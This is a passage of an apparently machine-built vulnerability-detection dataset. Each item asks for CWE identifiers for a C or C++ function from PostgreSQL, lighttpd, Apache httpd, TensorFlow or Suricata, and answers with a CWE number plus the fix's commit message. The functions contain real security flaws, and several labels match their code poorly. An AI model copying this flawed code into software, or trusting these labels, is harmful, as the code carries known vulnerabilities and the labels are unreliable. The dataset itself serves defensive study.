lfirst_node(StatsElem, cell);\n\n\t\tif (selem->name)\t\t/* column reference */\n\t\t{\n\t\t\tchar\t   *attname;\n\t\t\tHeapTuple\tatttuple;\n\t\t\tForm_pg_attribute attForm;\n\t\t\tTypeCacheEntry *type;\n\n\t\t\tattname = selem->name;\n\n\t\t\tatttuple = SearchSysCacheAttName(relid, attname);\n\t\t\tif (!HeapTupleIsValid(atttuple))\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_UNDEFINED_COLUMN),\n\t\t\t\t\t\t errmsg(\"column \\\"%s\\\" does not exist\",\n\t\t\t\t\t\t\t\tattname)));\n\t\t\tattForm = (Form_pg_attribute) GETSTRUCT(atttuple);\n\n\t\t\t/* Disallow use of system attributes in extended stats */\n\t\t\tif (attForm->attnum <= 0)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"statistics creation on system columns is not supported\")));\n\n\t\t\t/* Disallow data types without a less-than operator */\n\t\t\ttype = lookup_type_cache(attForm->atttypid, TYPECACHE_LT_OPR);\n\t\t\tif (type->lt_opr == InvalidOid)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"column \\\"%s\\\" cannot be used in statistics because its type %s has no default btree operator class\",\n\t\t\t\t\t\t\t\tattname, format_type_be(attForm->atttypid))));\n\n\t\t\tattnums[nattnums] = attForm->attnum;\n\t\t\tnattnums++;\n\t\t\tReleaseSysCache(atttuple);\n\t\t}\n\t\telse if (IsA(selem->expr, Var))\t/* column reference in parens */\n\t\t{\n\t\t\tVar *var = (Var *) selem->expr;\n\t\t\tTypeCacheEntry *type;\n\n\t\t\t/* Disallow use of system attributes in extended stats */\n\t\t\tif (var->varattno <= 0)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"statistics creation on system columns is not supported\")));\n\n\t\t\t/* Disallow data types without a less-than operator */\n\t\t\ttype = lookup_type_cache(var->vartype, TYPECACHE_LT_OPR);\n\t\t\tif (type->lt_opr == InvalidOid)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"column \\\"%s\\\" cannot be used in statistics because its type %s has no default btree operator class\",\n\t\t\t\t\t\t\t\tget_attname(relid, var->varattno, false), format_type_be(var->vartype))));\n\n\t\t\tattnums[nattnums] = var->varattno;\n\t\t\tnattnums++;\n\t\t}\n\t\telse\t\t\t\t\t/* expression */\n\t\t{\n\t\t\tNode\t   *expr = selem->expr;\n\t\t\tOid\t\t\tatttype;\n\t\t\tTypeCacheEntry *type;\n\t\t\tBitmapset  *attnums = NULL;\n\t\t\tint\t\t\tk;\n\n\t\t\tAssert(expr != NULL);\n\n\t\t\t/* Disallow expressions referencing system attributes. */\n\t\t\tpull_varattnos(expr, 1, &attnums);\n\n\t\t\tk = -1;\n\t\t\twhile ((k = bms_next_member(attnums, k)) >= 0)\n\t\t\t{\n\t\t\t\tAttrNumber\tattnum = k + FirstLowInvalidHeapAttributeNumber;\n\t\t\t\tif (attnum <= 0)\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t errmsg(\"statistics creation on system columns is not supported\")));\n\t\t\t}\n\n\t\t\t/*\n\t\t\t * Disallow data types without a less-than operator.\n\t\t\t *\n\t\t\t * We ignore this for statistics on a single expression, in which\n\t\t\t * case we'll build the regular statistics only (and that code can\n\t\t\t * deal with such data types).\n\t\t\t */\n\t\t\tif (list_length(stmt->exprs) > 1)\n\t\t\t{\n\t\t\t\tatttype = exprType(expr);\n\t\t\t\ttype = lookup_type_cache(atttype, TYPECACHE_LT_OPR);\n\t\t\t\tif (type->lt_opr == InvalidOid)\n\t\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t\t\t errmsg(\"expression cannot be used in multivariate statistics because its type %s has no default btree operator class\",\n\t\t\t\t\t\t\t\t\tformat_type_be(atttype))));\n\t\t\t}\n\n\t\t\tstxexprs = lappend(stxexprs, expr);\n\t\t}\n\t}\n\n\t/*\n\t * Parse the statistics kinds.\n\t *\n\t * First check that if this is the case with a single expression, there\n\t * are no statistics kinds specified (we don't allow that for the simple\n\t * CREATE STATISTICS form).\n\t */\n\tif ((list_length(stmt->exprs) == 1) && (list_length(stxexprs) == 1))\n\t{\n\t\t/* statistics kinds not specified */\n\t\tif (list_length(stmt->stat_types) > 0)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t\t errmsg(\"when building statistics on a single expression, statistics kinds may not be specified\")));\n\t}\n\n\t/* OK, let's check that we recognize the statistics kinds. */\n\tbuild_ndistinct = false;\n\tbuild_dependencies = false;\n\tbuild_mcv = false;\n\tforeach(cell, stmt->stat_types)\n\t{\n\t\tchar\t   *type = strVal((Value *) lfirst(cell));\n\n\t\tif (strcmp(type, \"ndistinct\") == 0)\n\t\t{\n\t\t\tbuild_ndistinct = true;\n\t\t\trequested_type = true;\n\t\t}\n\t\telse if (strcmp(type, \"dependencies\") == 0)\n\t\t{\n\t\t\tbuild_dependencies = true;\n\t\t\trequested_type = true;\n\t\t}\n\t\telse if (strcmp(type, \"mcv\") == 0)\n\t\t{\n\t\t\tbuild_mcv = true;\n\t\t\trequested_type = true;\n\t\t}\n\t\telse\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t\t errmsg(\"unrecognized statistics kind \\\"%s\\\"\",\n\t\t\t\t\t\t\ttype)));\n\t}\n\n\t/*\n\t * If no statistic type was specified, build them all (but only when the\n\t * statistics is defined on more than one column/expression).\n\t */\n\tif ((!requested_type) && (numcols >= 2))\n\t{\n\t\tbuild_ndistinct = true;\n\t\tbuild_dependencies = true;\n\t\tbuild_mcv = true;\n\t}\n\n\t/*\n\t * When there are non-trivial expressions, build the expression stats\n\t * automatically. This allows calculating good estimates for stats that\n\t * consider per-clause estimates (e.g. functional dependencies).\n\t */\n\tbuild_expressions = (list_length(stxexprs) > 0);\n\n\t/*\n\t * Check that at least two columns were specified in the statement, or\n\t * that we're building statistics on a single expression.\n\t */\n\tif ((numcols < 2) && (list_length(stxexprs) != 1))\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_INVALID_OBJECT_DEFINITION),\n\t\t\t\t errmsg(\"extended statistics require at least 2 columns\")));\n\n\t/*\n\t * Sort the attnums, which makes detecting duplicates somewhat easier, and\n\t * it does not hurt (it does not matter for the contents, unlike for\n\t * indexes, for example).\n\t */\n\tqsort(attnums, nattnums, sizeof(int16), compare_int16);\n\n\t/*\n\t * Check for duplicates in the list of columns. The attnums are sorted so\n\t * just check consecutive elements.\n\t */\n\tfor (i = 1; i < nattnums; i++)\n\t{\n\t\tif (attnums[i] == attnums[i - 1])\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_COLUMN),\n\t\t\t\t\t errmsg(\"duplicate column name in statistics definition\")));\n\t}\n\n\t/*\n\t * Check for duplicate expressions. We do two loops, counting the\n\t * occurrences of each expression. This is O(N^2) but we only allow small\n\t * number of expressions and it's not executed often.\n\t *\n\t * XXX We don't cross-check attributes and expressions, because it does\n\t * not seem worth it. In principle we could check that expressions don't\n\t * contain trivial attribute references like \"(a)\", but the reasoning is\n\t * similar to why we don't bother with extracting columns from\n\t * expressions. It's either expensive or very easy to defeat for\n\t * determined user, and there's no risk if we allow such statistics (the\n\t * statistics is useless, but harmless).\n\t */\n\tforeach(cell, stxexprs)\n\t{\n\t\tNode\t   *expr1 = (Node *) lfirst(cell);\n\t\tint\t\t\tcnt = 0;\n\n\t\tforeach(cell2, stxexprs)\n\t\t{\n\t\t\tNode\t   *expr2 = (Node *) lfirst(cell2);\n\n\t\t\tif (equal(expr1, expr2))\n\t\t\t\tcnt += 1;\n\t\t}\n\n\t\t/* every expression should find at least itself */\n\t\tAssert(cnt >= 1);\n\n\t\tif (cnt > 1)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_COLUMN),\n\t\t\t\t\t errmsg(\"duplicate expression in statistics definition\")));\n\t}\n\n\t/* Form an int2vector representation of the sorted column list */\n\tstxkeys = buildint2vector(attnums, nattnums);\n\n\t/* construct the char array of enabled statistic types */\n\tntypes = 0;\n\tif (build_ndistinct)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_NDISTINCT);\n\tif (build_dependencies)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_DEPENDENCIES);\n\tif (build_mcv)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_MCV);\n\tif (build_expressions)\n\t\ttypes[ntypes++] = CharGetDatum(STATS_EXT_EXPRESSIONS);\n\tAssert(ntypes > 0 && ntypes <= lengthof(types));\n\tstxkind = construct_array(types, ntypes, CHAROID, 1, true, TYPALIGN_CHAR);\n\n\t/* convert the expressions (if any) to a text datum */\n\tif (stxexprs != NIL)\n\t{\n\t\tchar\t   *exprsString;\n\n\t\texprsString = nodeToString(stxexprs);\n\t\texprsDatum = CStringGetTextDatum(exprsString);\n\t\tpfree(exprsString);\n\t}\n\telse\n\t\texprsDatum = (Datum) 0;\n\n\tstatrel = table_open(StatisticExtRelationId, RowExclusiveLock);\n\n\t/*\n\t * Everything seems fine, so let's build the pg_statistic_ext tuple.\n\t */\n\tmemset(values, 0, sizeof(values));\n\tmemset(nulls, false, sizeof(nulls));\n\n\tstatoid = GetNewOidWithIndex(statrel, StatisticExtOidIndexId,\n\t\t\t\t\t\t\t\t Anum_pg_statistic_ext_oid);\n\tvalues[Anum_pg_statistic_ext_oid - 1] = ObjectIdGetDatum(statoid);\n\tvalues[Anum_pg_statistic_ext_stxrelid - 1] = ObjectIdGetDatum(relid);\n\tvalues[Anum_pg_statistic_ext_stxname - 1] = NameGetDatum(&stxname);\n\tvalues[Anum_pg_statistic_ext_stxnamespace - 1] = ObjectIdGetDatum(namespaceId);\n\tvalues[Anum_pg_statistic_ext_stxstattarget - 1] = Int32GetDatum(-1);\n\tvalues[Anum_pg_statistic_ext_stxowner - 1] = ObjectIdGetDatum(stxowner);\n\tvalues[Anum_pg_statistic_ext_stxkeys - 1] = PointerGetDatum(stxkeys);\n\tvalues[Anum_pg_statistic_ext_stxkind - 1] = PointerGetDatum(stxkind);\n\n\tvalues[Anum_pg_statistic_ext_stxexprs - 1] = exprsDatum;\n\tif (exprsDatum == (Datum) 0)\n\t\tnulls[Anum_pg_statistic_ext_stxexprs - 1] = true;\n\n\t/* insert it into pg_statistic_ext */\n\thtup = heap_form_tuple(statrel->rd_att, values, nulls);\n\tCatalogTupleInsert(statrel, htup);\n\theap_freetuple(htup);\n\n\trelation_close(statrel, RowExclusiveLock);\n\n\t/*\n\t * Also build the pg_statistic_ext_data tuple, to hold the actual\n\t * statistics data.\n\t */\n\tdatarel = table_open(StatisticExtDataRelationId, RowExclusiveLock);\n\n\tmemset(datavalues, 0, sizeof(datavalues));\n\tmemset(datanulls, false, sizeof(datanulls));\n\n\tdatavalues[Anum_pg_statistic_ext_data_stxoid - 1] = ObjectIdGetDatum(statoid);\n\n\t/* no statistics built yet */\n\tdatanulls[Anum_pg_statistic_ext_data_stxdndistinct - 1] = true;\n\tdatanulls[Anum_pg_statistic_ext_data_stxddependencies - 1] = true;\n\tdatanulls[Anum_pg_statistic_ext_data_stxdmcv - 1] = true;\n\tdatanulls[Anum_pg_statistic_ext_data_stxdexpr - 1] = true;\n\n\t/* insert it into pg_statistic_ext_data */\n\thtup = heap_form_tuple(datarel->rd_att, datavalues, datanulls);\n\tCatalogTupleInsert(datarel, htup);\n\theap_freetuple(htup);\n\n\trelation_close(datarel, RowExclusiveLock);\n\n\tInvokeObjectPostCreateHook(StatisticExtRelationId, statoid, 0);\n\n\t/*\n\t * Invalidate relcache so that others see the new statistics object.\n\t */\n\tCacheInvalidateRelcache(rel);\n\n\trelation_close(rel, NoLock);\n\n\t/*\n\t * Add an AUTO dependency on each column used in the stats, so that the\n\t * stats object goes away if any or all of them get dropped.\n\t */\n\tObjectAddressSet(myself, StatisticExtRelationId, statoid);\n\n\t/* add dependencies for plain column references */\n\tfor (i = 0; i < nattnums; i++)\n\t{\n\t\tObjectAddressSubSet(parentobject, RelationRelationId, relid, attnums[i]);\n\t\trecordDependencyOn(&myself, &parentobject, DEPENDENCY_AUTO);\n\t}\n\n\t/*\n\t * If there are no dependencies on a column, give the statistics object an\n\t * auto dependency on the whole table.  In most cases, this will be\n\t * redundant, but it might not be if the statistics expressions contain no\n\t * Vars (which might seem strange but possible). This is consistent with\n\t * what we do for indexes in index_create.\n\t *\n\t * XXX We intentionally don't consider the expressions before adding this\n\t * dependency, because recordDependencyOnSingleRelExpr may not create any\n\t * dependencies for whole-row Vars.\n\t */\n\tif (!nattnums)\n\t{\n\t\tObjectAddressSet(parentobject, RelationRelationId, relid);\n\t\trecordDependencyOn(&myself, &parentobject, DEPENDENCY_AUTO);\n\t}\n\n\t/*\n\t * Store dependencies on anything mentioned in statistics expressions,\n\t * just like we do for index expressions.\n\t */\n\tif (stxexprs)\n\t\trecordDependencyOnSingleRelExpr(&myself,\n\t\t\t\t\t\t\t\t\t\t(Node *) stxexprs,\n\t\t\t\t\t\t\t\t\t\trelid,\n\t\t\t\t\t\t\t\t\t\tDEPENDENCY_NORMAL,\n\t\t\t\t\t\t\t\t\t\tDEPENDENCY_AUTO, false);\n\n\t/*\n\t * Also add dependencies on namespace and owner.  These are required\n\t * because the stats object might have a different namespace and/or owner\n\t * than the underlying table(s).\n\t */\n\tObjectAddressSet(parentobject, NamespaceRelationId, namespaceId);\n\trecordDependencyOn(&myself, &parentobject, DEPENDENCY_NORMAL);\n\n\trecordDependencyOnOwner(StatisticExtRelationId, statoid, stxowner);\n\n\t/*\n\t * XXX probably there should be a recordDependencyOnCurrentExtension call\n\t * here too, but we'd have to add support for ALTER EXTENSION ADD/DROP\n\t * STATISTICS, which is more work than it seems worth.\n\t */\n\n\t/* Add any requested comment */\n\tif (stmt->stxcomment != NULL)\n\t\tCreateComments(statoid, StatisticExtRelationId, 0,\n\t\t\t\t\t   stmt->stxcomment);\n\n\t/* Return stats object's address */\n\treturn myself;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension.\n\nPreviously, if an extension script did CREATE OR REPLACE and there was\nan existing object not belonging to the extension, it would overwrite\nthe object and adopt it into the extension.  This is problematic, first\nbecause the overwrite is probably unintentional, and second because we\ndidn't change the object's ownership.  Thus a hostile user could create\nan object in advance of an expected CREATE EXTENSION command, and would\nthen have ownership rights on an extension object, which could be\nmodified for trojan-horse-type attacks.\n\nHence, forbid CREATE OR REPLACE of an existing object unless it already\nbelongs to the extension.  (Note that we've always forbidden replacing\nan object that belongs to some other extension; only the behavior for\npreviously-free-standing objects changes here.)\n\nFor the same reason, also fail CREATE IF NOT EXISTS when there is\nan existing object that doesn't belong to the extension.\n\nOur thanks to Sven Klemm for reporting this problem.\n\nSecurity: CVE-2022-2625'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static chunk * connection_read_header_more(connection *con, chunkqueue *cq, chunk *c, const size_t olen) {\n    /*(should not be reached by HTTP/2 streams)*/\n    /*if (r->http_version == HTTP_VERSION_2) return NULL;*/\n    /*(However, new connections over TLS may become HTTP/2 connections via ALPN\n     * and return from this routine with r->http_version == HTTP_VERSION_2) */\n\n    if ((NULL == c || NULL == c->next) && con->is_readable > 0) {\n        con->read_idle_ts = log_epoch_secs;\n        if (0 != con->network_read(con, cq, MAX_READ_LIMIT)) {\n            request_st * const r = &con->request;\n            connection_set_state_error(r, CON_STATE_ERROR);\n        }\n        /* check if switched to HTTP/2 (ALPN \"h2\" during TLS negotiation) */\n        request_st * const r = &con->request;\n        if (r->http_version == HTTP_VERSION_2) return NULL;\n    }\n\n    if (cq->first != cq->last && 0 != olen) {\n        const size_t clen = chunkqueue_length(cq);\n        size_t block = (olen + (16384-1)) & (16384-1);\n        block += (block - olen > 1024 ? 0 : 16384);\n        chunkqueue_compact_mem(cq, block > clen ? clen : block);\n    }\n\n    /* detect if data is added to chunk */\n    c = cq->first;\n    return (c && (size_t)c->offset + olen < buffer_string_length(c->mem))\n      ? c\n      : NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': '[core] fix merging large headers across mult reads (fixes #3059)\n\n(thx mitd)\n\nx-ref:\n  \"Connections stuck in Close_Wait causing 100% cpu usage\"\n  https://redmine.lighttpd.net/issues/3059'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int read_request_line(request_rec *r, apr_bucket_brigade *bb)\n{\n    const char *ll;\n    const char *uri;\n    const char *pro;\n\n    unsigned int major = 1, minor = 0;   /* Assume HTTP/1.0 if non-\"HTTP\" protocol */\n    char http[5];\n    apr_size_t len;\n    int num_blank_lines = 0;\n    int max_blank_lines = r->server->limit_req_fields;\n    core_server_config *conf = ap_get_core_module_config(r->server->module_config);\n    int strict = conf->http_conformance & AP_HTTP_CONFORMANCE_STRICT;\n    int enforce_strict = !(conf->http_conformance & AP_HTTP_CONFORMANCE_LOGONLY);\n\n    if (max_blank_lines <= 0) {\n        max_blank_lines = DEFAULT_LIMIT_REQUEST_FIELDS;\n    }\n\n    /* Read past empty lines until we get a real request line,\n     * a read error, the connection closes (EOF), or we timeout.\n     *\n     * We skip empty lines because browsers have to tack a CRLF on to the end\n     * of POSTs to support old CERN webservers.  But note that we may not\n     * have flushed any previous response completely to the client yet.\n     * We delay the flush as long as possible so that we can improve\n     * performance for clients that are pipelining requests.  If a request\n     * is pipelined then we won't block during the (implicit) read() below.\n     * If the requests aren't pipelined, then the client is still waiting\n     * for the final buffer flush from us, and we will block in the implicit\n     * read().  B_SAFEREAD ensures that the BUFF layer flushes if it will\n     * have to block during a read.\n     */\n\n    do {\n        apr_status_t rv;\n\n        /* ensure ap_rgetline allocates memory each time thru the loop\n         * if there are empty lines\n         */\n        r->the_request = NULL;\n        rv = ap_rgetline(&(r->the_request), (apr_size_t)(r->server->limit_req_line + 2),\n                         &len, r, 0, bb);\n\n        if (rv != APR_SUCCESS) {\n            r->request_time = apr_time_now();\n\n            /* ap_rgetline returns APR_ENOSPC if it fills up the\n             * buffer before finding the end-of-line.  This is only going to\n             * happen if it exceeds the configured limit for a request-line.\n             */\n            if (APR_STATUS_IS_ENOSPC(rv)) {\n                r->status    = HTTP_REQUEST_URI_TOO_LARGE;\n                r->proto_num = HTTP_VERSION(1,0);\n                r->protocol  = apr_pstrdup(r->pool, \"HTTP/1.0\");\n            }\n            else if (APR_STATUS_IS_TIMEUP(rv)) {\n                r->status = HTTP_REQUEST_TIME_OUT;\n            }\n            else if (APR_STATUS_IS_EINVAL(rv)) {\n                r->status = HTTP_BAD_REQUEST;\n            }\n            return 0;\n        }\n    } while ((len <= 0) && (++num_blank_lines < max_blank_lines));\n\n    if (APLOGrtrace5(r)) {\n        ap_log_rerror(APLOG_MARK, APLOG_TRACE5, 0, r,\n                      \"Request received from client: %s\",\n                      ap_escape_logitem(r->pool, r->the_request));\n    }\n\n    r->request_time = apr_time_now();\n    ll = r->the_request;\n    r->method = ap_getword_white(r->pool, &ll);\n\n    uri = ap_getword_white(r->pool, &ll);\n\n    /* Provide quick information about the request method as soon as known */\n\n    r->method_number = ap_method_number_of(r->method);\n    if (r->method_number == M_GET && r->method[0] == 'H') {\n        r->header_only = 1;\n    }\n\n    ap_parse_uri(r, uri);\n\n    if (ll[0]) {\n        r->assbackwards = 0;\n        pro = ll;\n        len = strlen(ll);\n    } else {\n        r->assbackwards = 1;\n        pro = \"HTTP/0.9\";\n        len = 8;\n        if (conf->http09_enable == AP_HTTP09_DISABLE) {\n                r->status = HTTP_VERSION_NOT_SUPPORTED;\n                r->protocol = apr_pstrmemdup(r->pool, pro, len);\n                /* If we deny 0.9, send error message with 1.x */\n                r->assbackwards = 0;\n                r->proto_num = HTTP_VERSION(0, 9);\n                r->connection->keepalive = AP_CONN_CLOSE;\n                ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02401)\n                              \"HTTP/0.9 denied by server configuration\");\n                return 0;\n        }\n    }\n    r->protocol = apr_pstrmemdup(r->pool, pro, len);\n\n    /* Avoid sscanf in the common case */\n    if (len == 8\n        && pro[0] == 'H' && pro[1] == 'T' && pro[2] == 'T' && pro[3] == 'P'\n        && pro[4] == '/' && apr_isdigit(pro[5]) && pro[6] == '.'\n        && apr_isdigit(pro[7])) {\n        r->proto_num = HTTP_VERSION(pro[5] - '0', pro[7] - '0');\n    }\n    else {\n        if (strict) {\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02418)\n                          \"Invalid protocol '%s'\", r->protocol);\n            if (enforce_strict) {\n                r->status = HTTP_BAD_REQUEST;\n                return 0;\n            }\n        }\n        if (3 == sscanf(r->protocol, \"%4s/%u.%u\", http, &major, &minor)\n            && (strcasecmp(\"http\", http) == 0)\n            && (minor < HTTP_VERSION(1, 0)) ) { /* don't allow HTTP/0.1000 */\n            r->proto_num = HTTP_VERSION(major, minor);\n        }\n        else {\n            r->proto_num = HTTP_VERSION(1, 0);\n        }\n    }\n\n    if (strict) {\n        int err = 0;\n        if (ap_has_cntrl(r->the_request)) {\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02420)\n                          \"Request line must not contain control characters\");\n            err = HTTP_BAD_REQUEST;\n        }\n        if (r->parsed_uri.fragment) {\n            /* RFC3986 3.5: no fragment */\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02421)\n                          \"URI must not contain a fragment\");\n            err = HTTP_BAD_REQUEST;\n        }\n        else if (r->parsed_uri.user || r->parsed_uri.password) {\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02422)\n                          \"URI must not contain a username/password\");\n            err = HTTP_BAD_REQUEST;\n        }\n        else if (r->method_number == M_INVALID) {\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02423)\n                          \"Invalid HTTP method string: %s\", r->method);\n            err = HTTP_NOT_IMPLEMENTED;\n        }\n        else if (r->assbackwards == 0 && r->proto_num < HTTP_VERSION(1, 0)) {\n            ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02424)\n                          \"HTTP/0.x does not take a protocol\");\n            err = HTTP_BAD_REQUEST;\n        }\n\n        if (err && enforce_strict) {\n            r->status = err;\n            return 0;\n        }\n    }\n\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': '*) SECURITY: CVE-2015-0253 (cve.mitre.org)\n     core: Fix a crash introduced in with ErrorDocument 400 pointing\n     to a local URL-path with the INCLUDES filter active, introduced\n     in 2.4.11. PR 57531. [Yann Ylavic]\n\n\nSubmitted By: ylavic\nCommitted By: covener\n\n\n\n\n\ngit-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1664205 13f79535-47bb-0310-9956-ffa450edef68'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Status Examples::CreateSparseFeatureRepresentation(\n    const DeviceBase::CpuWorkerThreads& worker_threads, const int num_examples,\n    const int num_sparse_features, const ModelWeights& weights,\n    const OpInputList& sparse_example_indices_inputs,\n    const OpInputList& sparse_feature_indices_inputs,\n    const OpInputList& sparse_feature_values_inputs,\n    std::vector* const examples) {\n  mutex mu;\n  Status result;  // Guarded by mu\n  auto parse_partition = [&](const int64 begin, const int64 end) {\n    // The static_cast here is safe since begin and end can be at most\n    // num_examples which is an int.\n    for (int i = static_cast(begin); i < end; ++i) {\n      auto example_indices =\n          sparse_example_indices_inputs[i].template flat();\n      auto feature_indices =\n          sparse_feature_indices_inputs[i].template flat();\n\n      // Parse features for each example. Features for a particular example\n      // are at the offsets (start_id, end_id]\n      int start_id = -1;\n      int end_id = 0;\n      for (int example_id = 0; example_id < num_examples; ++example_id) {\n        start_id = end_id;\n        while (end_id < example_indices.size() &&\n               example_indices(end_id) == example_id) {\n          ++end_id;\n        }\n        Example::SparseFeatures* const sparse_features =\n            &(*examples)[example_id].sparse_features_[i];\n        if (start_id < example_indices.size() &&\n            example_indices(start_id) == example_id) {\n          sparse_features->indices.reset(new UnalignedInt64Vector(\n              &(feature_indices(start_id)), end_id - start_id));\n          if (sparse_feature_values_inputs.size() > i) {\n            auto feature_weights =\n                sparse_feature_values_inputs[i].flat();\n            sparse_features->values.reset(new UnalignedFloatVector(\n                &(feature_weights(start_id)), end_id - start_id));\n          }\n          // If features are non empty.\n          if (end_id - start_id > 0) {\n            // TODO(sibyl-Aix6ihai): Write this efficiently using vectorized\n            // operations from eigen.\n            for (int64 k = 0; k < sparse_features->indices->size(); ++k) {\n              const int64 feature_index = (*sparse_features->indices)(k);\n              if (!weights.SparseIndexValid(i, feature_index)) {\n                mutex_lock l(mu);\n                result = errors::InvalidArgument(\n                    \"Found sparse feature indices out of valid range: \",\n                    (*sparse_features->indices)(k));\n                return;\n              }\n            }\n          }\n        } else {\n          // Add a Tensor that has size 0.\n          sparse_features->indices.reset(\n              new UnalignedInt64Vector(&(feature_indices(0)), 0));\n          // If values exist for this feature group.\n          if (sparse_feature_values_inputs.size() > i) {\n            auto feature_weights =\n                sparse_feature_values_inputs[i].flat();\n            sparse_features->values.reset(\n                new UnalignedFloatVector(&(feature_weights(0)), 0));\n          }\n        }\n      }\n    }\n  };\n  // For each column, the cost of parsing it is O(num_examples). We use\n  // num_examples here, as empirically Shard() creates the right amount of\n  // threads based on the problem size.\n  // TODO(sibyl-Aix6ihai): Tune this as a function of dataset size.\n  const int64 kCostPerUnit = num_examples;\n  Shard(worker_threads.num_threads, worker_threads.workers, num_sparse_features,\n        kCostPerUnit, parse_partition);\n  return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'Add several missing validations in SDCA\n\nPiperOrigin-RevId: 372172877\nChange-Id: Id366da962432e18dcbfac847d11e98488bebb70a'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: DefragTimeoutTest(void)\n{\n    int i;\n    int ret = 0;\n\n    /* Setup a small numberr of trackers. */\n    if (ConfSet(\"defrag.trackers\", \"16\") != 1) {\n        printf(\"ConfSet failed: \");\n        goto end;\n    }\n\n    DefragInit();\n\n    /* Load in 16 packets. */\n    for (i = 0; i < 16; i++) {\n        Packet *p = BuildTestPacket(i, 0, 1, 'A' + i, 16);\n        if (p == NULL)\n            goto end;\n\n        Packet *tp = Defrag(NULL, NULL, p, NULL);\n\n        SCFree(p);\n\n        if (tp != NULL) {\n            SCFree(tp);\n            goto end;\n        }\n    }\n\n    /* Build a new packet but push the timestamp out by our timeout.\n     * This should force our previous fragments to be timed out. */\n    Packet *p = BuildTestPacket(99, 0, 1, 'A' + i, 16);\n    if (p == NULL)\n        goto end;\n\n    p->ts.tv_sec += (defrag_context->timeout + 1);\n    Packet *tp = Defrag(NULL, NULL, p, NULL);\n\n    if (tp != NULL) {\n        SCFree(tp);\n        goto end;\n    }\n\n    DefragTracker *tracker = DefragLookupTrackerFromHash(p);\n    if (tracker == NULL)\n        goto end;\n\n    if (tracker->id != 99)\n        goto end;\n\n    SCFree(p);\n\n    ret = 1;\nend:\n    DefragDestroy();\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-358'], 'message': 'defrag - take protocol into account during re-assembly\n\nThe IP protocol was not being used to match fragments with\ntheir packets allowing a carefully constructed packet\nwith a different protocol to be matched, allowing re-assembly\nto complete, creating a packet that would not be re-assembled\nby the destination host.'"
+  },
+  {
